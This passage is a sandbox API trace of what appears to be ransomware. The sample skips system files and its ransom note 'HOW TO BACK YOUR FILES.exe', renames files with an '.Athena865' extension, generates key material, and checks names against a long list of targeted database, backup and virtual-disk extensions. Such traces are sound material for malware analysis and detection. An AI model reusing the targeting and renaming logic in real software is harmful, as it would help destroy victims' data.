HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0118.901] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0118.901] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0118.903] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93fdbb10, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93fdbb10, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x94001c70, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msdarem.dll", cAlternateFileName="")) returned 1 [0118.903] lstrcmpiW (lpString1="msdarem.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0118.903] lstrcmpiW (lpString1="msdarem.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0118.903] lstrcmpiW (lpString1="msdarem.dll", lpString2=".") returned 1 [0118.903] lstrcmpiW (lpString1="msdarem.dll", lpString2="..") returned 1 [0118.903] lstrcmpiW (lpString1="msdarem.dll", lpString2="windows") returned -1 [0118.903] lstrcmpiW (lpString1="msdarem.dll", lpString2="bootmgr") returned 1 [0118.903] lstrcmpiW (lpString1="msdarem.dll", lpString2="temp") returned -1 [0118.903] lstrcmpiW (lpString1="msdarem.dll", lpString2="pagefile.sys") returned -1 [0118.903] lstrcmpiW (lpString1="msdarem.dll", lpString2="boot") returned 1 [0118.903] lstrcmpiW (lpString1="msdarem.dll", lpString2="ids.txt") returned 1 [0118.903] lstrcmpiW (lpString1="msdarem.dll", lpString2="ntuser.dat") returned -1 [0118.903] lstrcmpiW (lpString1="msdarem.dll", lpString2="perflogs") returned -1 [0118.903] lstrcmpiW (lpString1="msdarem.dll", lpString2="MSBuild") returned 1 [0118.903] lstrlenW (lpString="msdarem.dll") returned 11 [0118.903] lstrcpyW (in: lpString1=0x241e89e, lpString2="msdarem.dll" | out: lpString1="msdarem.dll") returned="msdarem.dll" [0118.904] lstrlenW (lpString="msdarem.dll") returned 11 [0118.904] lstrlenW (lpString="Athena865") returned 9 [0118.904] lstrcmpiW (lpString1="darem.dll", lpString2="Athena865") returned 1 [0118.904] lstrlenW (lpString=".dll") returned 4 [0118.904] lstrcmpiW (lpString1="msdarem.dll", lpString2=".dll") returned 1 [0118.904] lstrlenW (lpString=".lnk") returned 4 [0118.904] lstrcmpiW (lpString1="msdarem.dll", lpString2=".lnk") returned 1 [0118.904] lstrlenW (lpString=".ini") returned 4 [0118.904] lstrcmpiW (lpString1="msdarem.dll", lpString2=".ini") returned 1 [0118.904] lstrlenW (lpString=".sys") returned 4 [0118.904] lstrcmpiW (lpString1="msdarem.dll", lpString2=".sys") returned 1 [0118.904] lstrlenW (lpString="msdarem.dll") returned 11 [0118.904] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll.Athena865") returned 64 [0118.904] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll"), lpNewFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll.athena865"), dwFlags=0x1) returned 1 [0118.905] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0118.905] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=249856) returned 1 [0118.905] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0118.905] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0118.905] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0118.906] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0118.906] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0118.906] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.906] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3d300, lpName=0x0) returned 0x154 [0118.908] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3d300) returned 0x170000 [0118.918] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0118.919] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0118.919] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0118.919] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0118.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0118.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0118.919] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0118.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0118.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0118.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0118.920] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0118.922] CloseHandle (hObject=0x154) returned 1 [0118.922] CloseHandle (hObject=0x17c) returned 1 [0118.922] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0118.922] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0118.922] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0118.923] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd6a878e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd6a878e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x835d7620, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msdaremr.dll", cAlternateFileName="")) returned 1 [0118.923] lstrcmpiW (lpString1="msdaremr.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0118.923] lstrcmpiW (lpString1="msdaremr.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0118.923] lstrcmpiW (lpString1="msdaremr.dll", lpString2=".") returned 1 [0118.923] lstrcmpiW (lpString1="msdaremr.dll", lpString2="..") returned 1 [0118.923] lstrcmpiW (lpString1="msdaremr.dll", lpString2="windows") returned -1 [0118.924] lstrcmpiW (lpString1="msdaremr.dll", lpString2="bootmgr") returned 1 [0118.924] lstrcmpiW (lpString1="msdaremr.dll", lpString2="temp") returned -1 [0118.924] lstrcmpiW (lpString1="msdaremr.dll", lpString2="pagefile.sys") returned -1 [0118.924] lstrcmpiW (lpString1="msdaremr.dll", lpString2="boot") returned 1 [0118.924] lstrcmpiW (lpString1="msdaremr.dll", lpString2="ids.txt") returned 1 [0118.924] lstrcmpiW (lpString1="msdaremr.dll", lpString2="ntuser.dat") returned -1 [0118.924] lstrcmpiW (lpString1="msdaremr.dll", lpString2="perflogs") returned -1 [0118.924] lstrcmpiW (lpString1="msdaremr.dll", lpString2="MSBuild") returned 1 [0118.924] lstrlenW (lpString="msdaremr.dll") returned 12 [0118.924] lstrcpyW (in: lpString1=0x241e89e, lpString2="msdaremr.dll" | out: lpString1="msdaremr.dll") returned="msdaremr.dll" [0118.924] lstrlenW (lpString="msdaremr.dll") returned 12 [0118.924] lstrlenW (lpString="Athena865") returned 9 [0118.924] lstrcmpiW (lpString1="aremr.dll", lpString2="Athena865") returned -1 [0118.924] lstrlenW (lpString=".dll") returned 4 [0118.924] lstrcmpiW (lpString1="msdaremr.dll", lpString2=".dll") returned 1 [0118.924] lstrlenW (lpString=".lnk") returned 4 [0118.924] lstrcmpiW (lpString1="msdaremr.dll", lpString2=".lnk") returned 1 [0118.924] lstrlenW (lpString=".ini") returned 4 [0118.924] lstrcmpiW (lpString1="msdaremr.dll", lpString2=".ini") returned 1 [0118.924] lstrlenW (lpString=".sys") returned 4 [0118.924] lstrcmpiW (lpString1="msdaremr.dll", lpString2=".sys") returned 1 [0118.924] lstrlenW (lpString="msdaremr.dll") returned 12 [0118.924] lstrlenW (lpString="bak") returned 3 [0118.924] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0118.924] lstrlenW (lpString="ba_") returned 3 [0118.924] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0118.924] lstrlenW (lpString="dbb") returned 3 [0118.924] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0118.924] lstrlenW (lpString="vmdk") returned 4 [0118.925] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0118.925] lstrlenW (lpString="rar") returned 3 [0118.925] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0118.925] lstrlenW (lpString="zip") returned 3 [0118.925] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0118.925] lstrlenW (lpString="tgz") returned 3 [0118.925] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0118.925] lstrlenW (lpString="vbox") returned 4 [0118.925] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0118.925] lstrlenW (lpString="vdi") returned 3 [0118.925] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0118.925] lstrlenW (lpString="vhd") returned 3 [0118.925] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0118.925] lstrlenW (lpString="vhdx") returned 4 [0118.925] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0118.925] lstrlenW (lpString="avhd") returned 4 [0118.925] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0118.925] lstrlenW (lpString="db") returned 2 [0118.925] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0118.925] lstrlenW (lpString="db2") returned 3 [0118.925] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0118.925] lstrlenW (lpString="db3") returned 3 [0118.925] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0118.925] lstrlenW (lpString="dbf") returned 3 [0118.925] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0118.925] lstrlenW (lpString="mdf") returned 3 [0118.925] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0118.925] lstrlenW (lpString="mdb") returned 3 [0118.925] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0118.925] lstrlenW (lpString="sql") returned 3 [0118.926] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0118.926] lstrlenW (lpString="sqlite") returned 6 [0118.926] lstrcmpiW (lpString1="mr.dll", lpString2="sqlite") returned -1 [0118.926] lstrlenW (lpString="sqlite3") returned 7 [0118.926] lstrcmpiW (lpString1="emr.dll", lpString2="sqlite3") returned -1 [0118.926] lstrlenW (lpString="sqlitedb") returned 8 [0118.926] lstrcmpiW (lpString1="remr.dll", lpString2="sqlitedb") returned -1 [0118.926] lstrlenW (lpString="xml") returned 3 [0118.926] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0118.926] lstrlenW (lpString="$er") returned 3 [0118.926] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0118.926] lstrlenW (lpString="4dd") returned 3 [0118.926] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0118.926] lstrlenW (lpString="4dl") returned 3 [0118.926] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0118.926] lstrlenW (lpString="^^^") returned 3 [0118.926] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0118.926] lstrlenW (lpString="abs") returned 3 [0118.926] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0118.926] lstrlenW (lpString="abx") returned 3 [0118.926] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0118.926] lstrlenW (lpString="accdb") returned 5 [0118.926] lstrcmpiW (lpString1="r.dll", lpString2="accdb") returned 1 [0118.926] lstrlenW (lpString="accdc") returned 5 [0118.926] lstrcmpiW (lpString1="r.dll", lpString2="accdc") returned 1 [0118.926] lstrlenW (lpString="accde") returned 5 [0118.926] lstrcmpiW (lpString1="r.dll", lpString2="accde") returned 1 [0118.926] lstrlenW (lpString="accdr") returned 5 [0118.926] lstrcmpiW (lpString1="r.dll", lpString2="accdr") returned 1 [0118.926] lstrlenW (lpString="accdt") returned 5 [0118.927] lstrcmpiW (lpString1="r.dll", lpString2="accdt") returned 1 [0118.927] lstrlenW (lpString="accdw") returned 5 [0118.927] lstrcmpiW (lpString1="r.dll", lpString2="accdw") returned 1 [0118.927] lstrlenW (lpString="accft") returned 5 [0118.927] lstrcmpiW (lpString1="r.dll", lpString2="accft") returned 1 [0118.927] lstrlenW (lpString="adb") returned 3 [0118.927] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0118.927] lstrlenW (lpString="adb") returned 3 [0118.927] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0118.927] lstrlenW (lpString="ade") returned 3 [0118.927] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0118.927] lstrlenW (lpString="adf") returned 3 [0118.927] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0118.927] lstrlenW (lpString="adn") returned 3 [0118.927] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0118.927] lstrlenW (lpString="adp") returned 3 [0118.927] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0118.927] lstrlenW (lpString="alf") returned 3 [0118.927] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0118.927] lstrlenW (lpString="ask") returned 3 [0118.927] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0118.927] lstrlenW (lpString="btr") returned 3 [0118.927] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0118.927] lstrlenW (lpString="cat") returned 3 [0118.927] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0118.927] lstrlenW (lpString="cdb") returned 3 [0118.927] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0118.927] lstrlenW (lpString="ckp") returned 3 [0118.927] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0118.927] lstrlenW (lpString="cma") returned 3 [0118.928] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0118.928] lstrlenW (lpString="cpd") returned 3 [0118.928] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0118.928] lstrlenW (lpString="dacpac") returned 6 [0118.928] lstrcmpiW (lpString1="mr.dll", lpString2="dacpac") returned 1 [0118.928] lstrlenW (lpString="dad") returned 3 [0118.928] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0118.928] lstrlenW (lpString="dadiagrams") returned 10 [0118.928] lstrcmpiW (lpString1="daremr.dll", lpString2="dadiagrams") returned 1 [0118.928] lstrlenW (lpString="daschema") returned 8 [0118.928] lstrcmpiW (lpString1="remr.dll", lpString2="daschema") returned 1 [0118.928] lstrlenW (lpString="db-journal") returned 10 [0118.928] lstrcmpiW (lpString1="daremr.dll", lpString2="db-journal") returned -1 [0118.928] lstrlenW (lpString="db-shm") returned 6 [0118.928] lstrcmpiW (lpString1="mr.dll", lpString2="db-shm") returned 1 [0118.928] lstrlenW (lpString="db-wal") returned 6 [0118.928] lstrcmpiW (lpString1="mr.dll", lpString2="db-wal") returned 1 [0118.928] lstrlenW (lpString="dbc") returned 3 [0118.928] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0118.928] lstrlenW (lpString="dbs") returned 3 [0118.928] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0118.928] lstrlenW (lpString="dbt") returned 3 [0118.928] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0118.928] lstrlenW (lpString="dbv") returned 3 [0118.928] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0118.928] lstrlenW (lpString="dbx") returned 3 [0118.928] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0118.928] lstrlenW (lpString="dcb") returned 3 [0118.928] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0118.928] lstrlenW (lpString="dct") returned 3 [0118.929] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0118.929] lstrlenW (lpString="dcx") returned 3 [0118.929] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0118.929] lstrlenW (lpString="ddl") returned 3 [0118.929] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0118.929] lstrlenW (lpString="dlis") returned 4 [0118.929] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0118.929] lstrlenW (lpString="dp1") returned 3 [0118.929] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0118.929] lstrlenW (lpString="dqy") returned 3 [0118.929] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0118.929] lstrlenW (lpString="dsk") returned 3 [0118.929] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0118.929] lstrlenW (lpString="dsn") returned 3 [0118.929] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0118.929] lstrlenW (lpString="dtsx") returned 4 [0118.929] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0118.929] lstrlenW (lpString="dxl") returned 3 [0118.929] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0118.929] lstrlenW (lpString="eco") returned 3 [0118.929] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0118.929] lstrlenW (lpString="ecx") returned 3 [0118.929] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0118.929] lstrlenW (lpString="edb") returned 3 [0118.929] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0118.929] lstrlenW (lpString="epim") returned 4 [0118.929] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0118.929] lstrlenW (lpString="fcd") returned 3 [0118.929] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0118.929] lstrlenW (lpString="fdb") returned 3 [0118.930] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0118.930] lstrlenW (lpString="fic") returned 3 [0118.930] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0118.930] lstrlenW (lpString="flexolibrary") returned 12 [0118.930] lstrlenW (lpString="fm5") returned 3 [0118.930] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0118.930] lstrlenW (lpString="fmp") returned 3 [0118.930] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0118.930] lstrlenW (lpString="fmp12") returned 5 [0118.930] lstrcmpiW (lpString1="r.dll", lpString2="fmp12") returned 1 [0118.930] lstrlenW (lpString="fmpsl") returned 5 [0118.930] lstrcmpiW (lpString1="r.dll", lpString2="fmpsl") returned 1 [0118.930] lstrlenW (lpString="fol") returned 3 [0118.930] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0118.930] lstrlenW (lpString="fp3") returned 3 [0118.930] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0118.930] lstrlenW (lpString="fp4") returned 3 [0118.930] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0118.930] lstrlenW (lpString="fp5") returned 3 [0118.930] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0118.930] lstrlenW (lpString="fp7") returned 3 [0118.930] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0118.930] lstrlenW (lpString="fpt") returned 3 [0118.930] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0118.930] lstrlenW (lpString="frm") returned 3 [0118.930] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0118.930] lstrlenW (lpString="gdb") returned 3 [0118.930] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0118.930] lstrlenW (lpString="gdb") returned 3 [0118.930] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0118.930] lstrlenW (lpString="grdb") returned 4 [0118.931] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0118.931] lstrlenW (lpString="gwi") returned 3 [0118.931] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0118.931] lstrlenW (lpString="hdb") returned 3 [0118.931] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0118.931] lstrlenW (lpString="his") returned 3 [0118.931] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0118.931] lstrlenW (lpString="ib") returned 2 [0118.931] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0118.931] lstrlenW (lpString="idb") returned 3 [0118.931] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0118.931] lstrlenW (lpString="ihx") returned 3 [0118.931] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0118.931] lstrlenW (lpString="itdb") returned 4 [0118.931] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0118.931] lstrlenW (lpString="itw") returned 3 [0118.931] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0118.931] lstrlenW (lpString="jet") returned 3 [0118.931] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0118.931] lstrlenW (lpString="jtx") returned 3 [0118.931] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0118.931] lstrlenW (lpString="kdb") returned 3 [0118.931] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0118.931] lstrlenW (lpString="kexi") returned 4 [0118.931] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0118.931] lstrlenW (lpString="kexic") returned 5 [0118.931] lstrcmpiW (lpString1="r.dll", lpString2="kexic") returned 1 [0118.931] lstrlenW (lpString="kexis") returned 5 [0118.931] lstrcmpiW (lpString1="r.dll", lpString2="kexis") returned 1 [0118.932] lstrlenW (lpString="lgc") returned 3 [0118.932] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0118.932] lstrlenW (lpString="lwx") returned 3 [0118.932] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0118.932] lstrlenW (lpString="maf") returned 3 [0118.932] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0118.932] lstrlenW (lpString="maq") returned 3 [0118.932] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0118.932] lstrlenW (lpString="mar") returned 3 [0118.932] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0118.932] lstrlenW (lpString="marshal") returned 7 [0118.932] lstrcmpiW (lpString1="emr.dll", lpString2="marshal") returned -1 [0118.932] lstrlenW (lpString="mas") returned 3 [0118.932] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0118.932] lstrlenW (lpString="mav") returned 3 [0118.932] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0118.932] lstrlenW (lpString="maw") returned 3 [0118.932] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0118.932] lstrlenW (lpString="mdbhtml") returned 7 [0118.932] lstrcmpiW (lpString1="emr.dll", lpString2="mdbhtml") returned -1 [0118.932] lstrlenW (lpString="mdn") returned 3 [0118.932] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0118.932] lstrlenW (lpString="mdt") returned 3 [0118.932] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0118.932] lstrlenW (lpString="mfd") returned 3 [0118.932] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0118.932] lstrlenW (lpString="mpd") returned 3 [0118.932] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0118.932] lstrlenW (lpString="mrg") returned 3 [0118.933] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0118.933] lstrlenW (lpString="mud") returned 3 [0118.933] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0118.933] lstrlenW (lpString="mwb") returned 3 [0118.933] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0118.933] lstrlenW (lpString="myd") returned 3 [0118.933] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0118.933] lstrlenW (lpString="ndf") returned 3 [0118.933] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0118.933] lstrlenW (lpString="nnt") returned 3 [0118.933] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0118.933] lstrlenW (lpString="nrmlib") returned 6 [0118.933] lstrcmpiW (lpString1="mr.dll", lpString2="nrmlib") returned -1 [0118.933] lstrlenW (lpString="ns2") returned 3 [0118.933] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0118.933] lstrlenW (lpString="ns3") returned 3 [0118.933] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0118.933] lstrlenW (lpString="ns4") returned 3 [0118.933] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0118.933] lstrlenW (lpString="nsf") returned 3 [0118.933] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0118.933] lstrlenW (lpString="nv") returned 2 [0118.933] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0118.933] lstrlenW (lpString="nv2") returned 3 [0118.933] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0118.933] lstrlenW (lpString="nwdb") returned 4 [0118.933] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0118.933] lstrlenW (lpString="nyf") returned 3 [0118.933] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0118.933] lstrlenW (lpString="odb") returned 3 [0118.934] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0118.934] lstrlenW (lpString="odb") returned 3 [0118.934] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0118.934] lstrlenW (lpString="oqy") returned 3 [0118.934] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0118.934] lstrlenW (lpString="ora") returned 3 [0118.934] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0118.934] lstrlenW (lpString="orx") returned 3 [0118.934] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0118.934] lstrlenW (lpString="owc") returned 3 [0118.934] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0118.934] lstrlenW (lpString="p96") returned 3 [0118.934] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0118.934] lstrlenW (lpString="p97") returned 3 [0118.934] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0118.934] lstrlenW (lpString="pan") returned 3 [0118.934] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0118.934] lstrlenW (lpString="pdb") returned 3 [0118.934] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0118.934] lstrlenW (lpString="pdm") returned 3 [0118.934] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0118.934] lstrlenW (lpString="pnz") returned 3 [0118.934] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0118.934] lstrlenW (lpString="qry") returned 3 [0118.934] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0118.934] lstrlenW (lpString="qvd") returned 3 [0118.934] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0118.934] lstrlenW (lpString="rbf") returned 3 [0118.934] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0118.934] lstrlenW (lpString="rctd") returned 4 [0118.935] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0118.935] lstrlenW (lpString="rod") returned 3 [0118.935] lstrcmpiW (lpString1="dll", lpString2="rod") 